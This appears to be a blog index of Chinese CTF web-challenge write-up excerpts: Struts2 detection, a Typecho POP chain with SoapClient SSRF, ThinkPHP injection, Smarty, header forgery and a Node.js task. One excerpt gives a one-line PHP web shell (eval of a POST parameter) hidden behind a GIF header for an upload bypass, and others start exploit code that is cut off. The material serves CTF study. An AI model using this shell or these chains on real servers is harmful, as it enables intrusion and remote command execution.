# ctfshow_web_java # 判断网站是否基于 Struts2 的方法链接 通过页面回显的错误消息来判断,页面不回显错误消息时则无效 通过网页后缀来判断,如.do .action,有可能不准 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的 如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为...

# [MRCTF2020]Ezpop_Revenge 反序列化 pop 链: HelloWorld_DB::wakeup–>Typecho_Db::__construct(tostring)–>Typecho_Db_Query::__construct–>(this->_adapter=new Soapclient)–>SSRF payload: <?phpclass Typecho_Db_Query{ private $_sqlPreBuild; private $_adapter;...

# 刷新过的图片 豪堪,stegsolve 和随波逐流一把梭不出来(新手是这样的),直接 wp 学习大法 这个题目有两个考点: 1.F5 隐写 2.zip 伪加密

文件上传(先上传 htaccess 文件(虽然访问不了,但是可以用哇)): 上传 jpg 文件: GIF89a <script language="php"> eval($_POST['cmd']); </script> 蚁剑链接 参考链接:https://blog.csdn.net/Myon5/article/details/133819758

# [LineCTF2022]BB <?php error_reporting(0); function bye($s, $ptn){ if(preg_match($ptn, $s)){ return false; } return true; } foreach($_GET["env"] as $k=>$v){ if(bye($k, "/=/i") && bye($v,...

# [红明谷 CTF 2021] EasyTP 随便输入网址得到是 tp3.2.3 的模板题 直接搜索其漏洞 https://f5.pm/go-53579.html(这个是从最开始分析的,还是很清晰的) # 解法一:报错注入 <?phpnamespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件 ); protected $config =...

# [HMGCTF2022]Smarty Calculator 进入页面,随便输入一个字符,发现还未登录,没有提示就是文件泄露 www.zip,发现文件,泄露查看源码: if(isset($_POST['data'])){ if(isset($_COOKIE['login'])) { $data = waf($_POST['data']); echo "<div...

# ISCTF2024 复现 # 25 时晓山瑞希生日会 htt 头伪造: 伪造日期: 搜索得知 25 时生日会 是在八月二十七举办,伪造日期即可得到 flag Date: Tue, 27 Aug 2024 12:41:59 GMT# 小蓝鲨的冒险 <?php error_reporting(0);highlight_file(__FILE__);$a = "isctf2024";$b = $_GET["b"];@parse_str($b);echo...

# [网鼎杯 2020 半决赛] BabyJS nodejs 题: 经典进去就是黑屏加 {}(牢 json 数据了) 有源码(关键的就是这个地方): var express = require('express');var config = require('../config');var url=require('url');var child_process=require('child_process');var fs=require('fs');var...